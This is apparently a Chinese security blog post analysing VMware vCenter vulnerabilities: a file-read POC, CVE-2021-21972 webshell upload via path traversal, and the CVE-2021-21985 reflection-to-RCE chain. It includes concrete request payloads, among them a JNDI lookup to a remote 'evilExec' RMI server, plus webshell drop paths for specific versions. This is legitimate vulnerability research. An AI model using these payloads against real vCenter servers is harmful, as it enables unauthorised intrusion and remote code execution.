基础设施

vSphere Client分为UI层、Java服务层、后端层,前端通过RESTful API与基于Spring MVC和OSGI框架的Java服务层进行通信。

vCenter可以安装部署至ESXi,也可以导入镜像中的OVA文件部署,漏洞环境的ISO文件可从此处获取。需要注意的是VCSA的最小部署规格tiny(微型)需要2核10G内存300G硬盘,本文采用的方案为在ESXi的物理机上嵌套安装ESXi虚拟机,并在嵌套安装的ESXi虚拟机中安装VCSA。保持根路由与一级ESXi物理机VLAN为空(或不变/或为4095),将一级ESXi与二级ESXi的虚拟交换机设置为4095(或某个固定值),将二级ESXi中运行的VCSA接入二级虚拟交换机,并同时开启该链路上的各级交换机的混杂模式。

File Read

由EAM用户运行的服务存在文件读取,Windows上可获取帐号密码。

影响版本:

  • 6.0 <= vCenter Server <= 6.5 f < 6.5 u1

POC:https://1.1.1.1/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

CVE-2021-21972

默认启用的vROps插件(com.vmware.vropspluginui.mvc)ServicesController类的uploadova接口存在未授权访问,可利用路径穿越将文件解压至特定目录实现getshell。

影响版本:

  • 7.0 <= vCenter Server < 7.0 U1c
  • 6.7 <= vCenter Server < 6.7 U3l
  • 6.5 1e <= vCenter Server < 6.5 U3n
  • 4.x <= Cloud Foundation (vCenter Server) < 4.2
  • 3.x <= Cloud Foundation (vCenter Server) < 3.10.1.2

EXP:VMware vCenter Server 7.0 - Unauthenticated File Upload

漏洞分析

用root帐号ssh连上vCenter,找到vropsplugin-service.jar利用python3 -m http.server 8010下载到本地反编译

从post上传的输入流中解析tar遍历文件,创建File类拼接目录时存在../../目录穿越,可将文件解压至vsphere-ui用户有权限的目录。切入该用户并查找可写目录:

1
2
su vsphere-ui
find / -writable -type d |& grep -v "Permission denied"

.ssh可写就能上传公钥,并通过安装VCSA时通常都会开启的SSH服务连上来,但我们先看一下shadow文件:

1
2
3
4
# cat /etc/shadow
...
vsphere-ui:!:18802:1:90:7:::
...

由冒号分隔的各项分别代表:

  • 用户名
  • 哈希算法、盐、哈希密码
  • 最后一次密码修改时间(距1970年1月1日天数)
  • 最小密码修改间隔时间
  • 密码过期时间
  • 密码过期前警告时间
  • 密码过期后宽限时间
  • 账号失效时间
  • 保留字段

看到密码过期时间为90天,因此在安装90天后即使写入了公钥登录也会提示密码过期,需要提供原密码并修改密码:

vsphere-ui用户的第二项为!,这表示该用户未设置密码(与空密码不同),所以也就没法修改密码。。。

写文件getshell需要充分利用各种服务,遍历找出存在有jsp的web.xml并与可写目录交叉对比:

/usr/lib/vmware-vsphere-ui/server/configuration/tomcat-server.xml查到监听端口为5090,再由rhttpproxy反向代理找到web访问路径:

1
2
3
# grep 5090 /etc/vmware-rhttpproxy/endpoints.conf.d/*
/ui/healthstatus local 5090 redirect allow
/ui local 5090 redirect allow
  • 靠前的redirect表示将http重定向到https,后面的allow表示允许https访问
  • META-INF/MANIFEST.MF中的Web-ContextPath也会标识web路径

最后将webshell释放至/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/目录或其子目录,即可解析并由https://1.1.1.1/ui/resources/webshell.jsp访问

该路径中的42并非是固定数值,会随着重装重启等行为发生改变,所以构造上传包时可以暴力批量添加,并利用解压时的容错性释放。

6.7U2及之后的版本,会在服务启动时判断如果存在work目录就删除,也就是说Web是跑在内存里面的。这时对于6.7U2及更新的6.7版本可以将webshell释放至/usr/lib/vmware-vsphere-ui/server/static/resources/libs/目录作为后门,待其重启后会被加载运行。对于7.0版本static后面的resources会跟一串动态数字路径,能够在请求的返回包中获取到。

  • Windows由于权限控制并不严格,可以将webshell释放至C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\目录,会以system权限运行

CVE-2021-21985

默认启用的Virtual SAN Health Check插件(vsan-h5-client.zip)/rest/*接口存在未授权访问,可利用不安全的反射调用实现getshell。

影响版本:

  • 7.0 <= vCenter Server < 7.0 U2b
  • 6.7 <= vCenter Server < 6.7 U3n
  • 6.5 <= vCenter Server < 6.5 U3p
  • 4.x <= Cloud Foundation (vCenter Server) < 4.2.1
  • 3.x <= Cloud Foundation (vCenter Server) < 3.10.2.1

EXP:vCenterExp

漏洞分析

从官方通告能够猜到漏洞入口是vsan插件的未授权访问,为了减少干扰代码的影响,我们对漏洞修复前后的两个版本(VMware-VCSA-all-6.7.0-18010531、VMware-VCSA-all-6.7.0-17713310)进行对比分析。

挂载或解压对应ISO,将VMware VCSA/vcsa路径下的OVA文件导入虚拟机,由CUI开启ssh服务便于后续操作。

用root帐号ssh连上vCenter,定位到vsan-h5-client插件再通过python httpserver下载。

1
2
3
4
# find / -name '*vsan*' | grep 'h5'
/usr/lib/vmware-vpx/vsan-health/ui-plugins/vsan-h5-client.zip

python3 -m http.server -d /usr/lib/vmware-vpx/vsan-health/ui-plugins/ 8010

不是我不知道scp这个东西,photon linux的特殊结构导致了没法直接用scp传输文件:

至于为什么用8010端口,是因为严格的iptables规则中这个端口在白名单里而且没被占用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# iptables -L
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- anywhere anywhere
DROP all -- anywhere anywhere ctstate INVALID
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
inbound all -- anywhere anywhere
port_filter all -- anywhere anywhere
DROP icmp -- anywhere anywhere icmp timestamp-request
DROP icmp -- anywhere anywhere icmp timestamp-reply
ACCEPT icmp -- anywhere anywhere
DROP udplite-- anywhere anywhere

Chain FORWARD (policy DROP)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Chain inbound (1 references)
target prot opt source destination
RETURN all -- anywhere anywhere

Chain port_filter (1 references)
target prot opt source destination
ACCEPT tcp -- anywhere anywhere tcp dpt:tungsten-https
ACCEPT udp -- anywhere anywhere udp dpt:ideafarm-door
ACCEPT tcp -- anywhere anywhere tcp dpt:ideafarm-door
ACCEPT tcp -- anywhere anywhere tcp dpt:ssh
ACCEPT tcp -- anywhere anywhere tcp dpt:ldap
ACCEPT tcp -- anywhere anywhere tcp dpt:ldaps
ACCEPT tcp -- anywhere anywhere tcp dpt:tmosms0
ACCEPT tcp -- anywhere anywhere tcp dpt:xinupageserver
ACCEPT tcp -- anywhere anywhere tcp dpt:troff
ACCEPT tcp -- anywhere anywhere tcp dpt:shell
ACCEPT udp -- anywhere anywhere udp dpt:syslog
ACCEPT tcp -- anywhere anywhere tcp dpt:fujitsu-dtcns
ACCEPT tcp -- anywhere anywhere tcp dpt:5480
ACCEPT tcp -- anywhere anywhere tcp dpt:kerberos
ACCEPT udp -- anywhere anywhere udp dpt:kerberos
ACCEPT tcp -- anywhere anywhere tcp dpt:ttyinfo
ACCEPT tcp -- anywhere anywhere tcp dpt:8010

分别将两个版本的压缩包下载下来解压,IDEA对比h5-vsan-context.jar,看到新版本中对/rest/*路径添加了authenticationFilter过滤器。

具体类实现中拦截了未登录的请求,并返回401状态码:

另一处变动是h5-vsan-service.jar中ProxygenController类的invokeService方法,通过isAnnotationPresent判断只有方法存在TsService接口才会反射调用,感觉就是设置方法白名单了。

invokeService方法会被invokeServiceWithJsoninvokeServiceWithMultipartFormData调用,两个方法都是从URL路径中取beanIdOrClassNamemethodName的值、从HTTP请求体中取methodInput的值,并经过格式化处理后作为入参传给invokeService方法。

invokeService方法反射获取类进而注入bean,反射获取所有public方法并遍历,通过ProxygenSerializer类的deserializeMethodInput转化为方法对象后反射调用。(6.7不同小版本的代码有细微差异)

由21982的分析已经知道vCenter会由rhttpproxy反代复用端口,通过META-INF/MANIFEST.MFweb.xml可以知道vsan插件部署的Web路径为ui/h5-vsan/rest/*,再结合各级的RequestMapping路由映射注解,推出漏洞入口就是通过https://1.1.1.1/ui/h5-vsan/rest/proxy/service/{beanIdOrClassName}/{methodName}触发环境中类危险方法调用。有TP5的RCE那味了,但并不可以用Runtime.exec直接莽,因为getBean时只会在beanMap中查找,动态调试可以看到内存中加载的Map:

  • /etc/vmware/vmware-vmon/svcCfgfiles/vsphere-ui.json中添加启动参数-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8010后执行service-control --restart vsphere-ui重启服务,IDEA中添加Remote JVM Debug配置Attach to remote JVM模式远程调试,如果不是用8010端口得开一下防火墙:iptables -P INPUT ACCEPT

所以接下来就是在一堆bean里查找危险方法构建利用链了,在vsan-h5-client/plugins/h5-vsan-service/META-INF/spring/base/*.xml配置文件中找到它们的定义,所有scope都是缺省的singleton而且没有配置lazy-init,也就是说这些bean都会在spring项目启动时单例加载。

看到org.springframework.beans.factory.config.MethodInvokingFactoryBean方法和它的继承链,在官方API文档可以清晰地看到其继承自父类MethodInvoker的多个方法:

invoke方法源码如下,由targetObjectpreparedMethod调用静态方法,ReflectionUtils.makeAccessible修改方法可见性,getArguments获取参数:

1
2
3
4
5
6
7
8
9
10
public Object invoke() throws InvocationTargetException, IllegalAccessException {
// In the static case, target will simply be {@code null}.
Object targetObject = getTargetObject();
Method preparedMethod = getPreparedMethod();
if (targetObject == null && !Modifier.isStatic(preparedMethod.getModifiers())) {
throw new IllegalArgumentException("Target method must not be non-static without a target");
}
ReflectionUtils.makeAccessible(preparedMethod);
return preparedMethod.invoke(targetObject, getArguments());
}

直接调用静态方法并不需要targetObject,通过setTargetObject将其设置为null。getArguments取的就是arguments的值,可以通过setArguments将其设置为Obejct[]的JNDI远程方法(RMI/LDAP)。向上跟进preparedMethod可以看到如下反向调用链:

1
2
3
4
5
6
preparedMethod
this.methodObject
targetClass.getMethod(targetMethod, argTypes)
resolveClassName(className)
String className = this.staticMethod.substring(0, lastDotIndex)
String methodName = this.staticMethod.substring(lastDotIndex + 1)

至此这条利用链的入口和链尾已经成型:{beanIdOrClassName}/{methodName} -> ... -> MethodInvokingFactoryBean -> MethodInvoker -> JNDI(javax.naming.InitialContext.doLookup) -> 恶意RMI/LDAP服务器提供的远程对象,搜索配置文件中class为MethodInvokingFactoryBean的bean就可以找到能作为连接链两端的部分:

1
2
3
4
5
6
7
vsanProviderUtils_setVmodlHelper
vsanProviderUtils_setVsanServiceFactory
vsanQueryUtil_setDataService
vsanCapabilityUtils_setVsanCapabilityCacheManager
vsanUtils_setMessageBundle
vsanFormatUtils_setUserSessionService
vsphereHealthProviderUtils_setVsphereHealthServiceFactory
  • bean配置中没写id时,name属性可以起到类似的作用

直接调用FactoryBean实际上是其getObject方法返回的对象,而我们需要的是MethodInvokingFactoryBean自身,因此在调用这些bean时要在前面加上&。利用bean饿汉式单例的特性,可以通过POST请求依次调用各个set方法赋值构造利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
&{beanName}/setTargetObject
{"methodInput":[null]}

&{beanName}/setStaticMethod
{"methodInput":["javax.naming.InitialContext.doLookup"]}

&{beanName}/setArguments
{"methodInput":[["rmi://1.1.1.1:1099/evilExec"]]}

&{beanName}/prepare
{"methodInput":[]}

&{beanName}/invoke
{"methodInput":[]}

但。。。是。。。随着vCenter版本的不断更新,其photon linux搭载的jdk版本也在不断更新,6.7初始版本的8u71可以直接打,中间更高些jdk版本可能就需要打rmi bypass或者ldap,到漏洞修复前一个小版本jdk已经是8u281了,按照刚从火星回来的我肤浅的了解,目前似乎还没有公开的byapss 8u241+的方法(这里不是太确定,说错了欢迎拍砖)

而且vCenter通常部署在内网深处,不一定有那么好的出网环境加载恶意方法。回顾来看目前具有调用任意类任意静态方法的能力,被反向移植的jfr包的静态方法writeGeneratedASM中存在FileOutputStream,通过java.lang.System.setProperty静态方法将SAVE_GENERATED设置为true,这样就能将字节数组写入指定位置的以.class结尾的文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void writeGeneratedASM(String className, byte[] bytes) {
if (SAVE_GENERATED == null) {
// We can't calculate value statically because it will force
// initialization of SecuritySupport, which cause
// UnsatisfiedLinkedError on JDK 8 or non-Oracle JDKs
SAVE_GENERATED = SecuritySupport.getBooleanProperty("jfr.save.generated.asm");
}
if (SAVE_GENERATED) {
try {
try (FileOutputStream fos = new FileOutputStream(className + ".class")) {
fos.write(bytes);
}

try (FileWriter fw = new FileWriter(className + ".asm"); PrintWriter pw = new PrintWriter(fw)) {
ClassReader cr = new ClassReader(bytes);
CheckClassAdapter.verify(cr, true, pw);
}
Logger.log(LogTag.JFR_SYSTEM_BYTECODE, LogLevel.INFO, "Instrumented code saved to " + className + ".class and .asm");
} catch (IOException e) {
Logger.log(LogTag.JFR_SYSTEM_BYTECODE, LogLevel.INFO, "Could not save instrumented code, for " + className + ".class and .asm");
}
}
}

但输入参数都会被ProxygenSerializer类的deserializeMethodInput方法格式化成Object[],要怎么得到byte[]类型的参数呢。巧的是当prepareargTypes类型不正确导致的异常,会经由以下调用栈并最终转化为需要的byte数组Orz:

1
2
3
this.findMatchingMethod
org.springframework.beans.support.ArgumentConvertingMethodInvoker.doFindMatchingMethod
TypeConverter.convertIfNecessary

再利用tomcat中的静态方法copyInternal即可实现对写入的.class文件的拷贝和重命名。没有能未授权访问且解析jsp的地方时,可以利用JNI机制由System.load加载native方法调用上传的恶意so,不过如果目标不出网也不好解决命令回显的问题。

对此漏洞作者(rr yyds)利用vmodlContext这个bean对应类com.vmware.vim.vmomi.core.types.impl.VmodContextImpl(vropsplugin-service.jar)的loadVmodlPackage方法,会经由NonValidatingClassPathXmlApplicationContext调用父类ClassPathXmlApplicationContext的构造方法从我们可控的vmodPackage加载,该Spring类构造方法支持远程加载解析xml中的SpEL表达式执行命令。

vmodPackage参数传递过程中通过getContextFileNameForPackage加载/context.xml,并通过其重载方法将.替换为/,xml内容中不能用标准IP和域名,可以用十进制型IP绕过。但这样依然是反向远程加载xml文件,不出网的环境就会很蛋疼,所以现在要解决的问题是如何通过正向访问将恶意xml送进去。可以想到通过data协议传入base64编码的xml数据,可是Java的URL类默认只支持http、https、file、jar。

Java不行!Python行!位于/usr/lib/vmware-vpx/vsan-health/pyMoVsan/VsanHttpProvider.py存在一个未授权访问SSRF,匹配vsanHealth/vum/driverOfflineBundle/的请求内容,由urlopen发包并zip解压匹配返回*offline_bundle.*文件内容。/etc/hosts的存在也能帮助绕过.的限制,算是锦上添花了。

1
2
3
4
5
6
7
# cat /etc/hosts
# Begin /etc/hosts (network card version)

127.0.0.1 localhost.localdomain
127.0.0.1 localhost
127.0.0.1 photon-machine
# End /etc/hosts (network card version)

现在就只剩下最后一个问题就是如何拿到命令执行的回显,rr的解决方案是发现可以调用到systemPropertiesgetProperty方法拿到属性,所以执行命令时只需将结果由system.setProperty存入再读出。也可以利用方法执行时的报错将执行结果带出。

  • System类有一个本质为Hashtable的Properties类型的props静态成员变量,单个JVM实例共享,不同JVM实例隔离

总结一下该漏洞可以调用环境中任意类静态方法,比较直接的就是通过JNDI加载远程恶意方法,进一步能够写入和重命名任意文件通过JNI加载so中的native方法,也可以利用Java中的SSRF套娃Python的SSRF实现SpEL注入RCE。

参考链接

Creating and Deploying Plug-In Packages

Spring Framework Documentation

File Read

VMSA-2021-0002

Unauthorized RCE in VMware vCenter

CVE-2021-21972 复现和分析

VMSA-2021-0010

Vcenter Server CVE-2021-21985 RCE PAYLOAD

A Quick Look at CVE-2021–21985 VCenter Pre-Auth RCE

VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析

Vcenter漏洞分析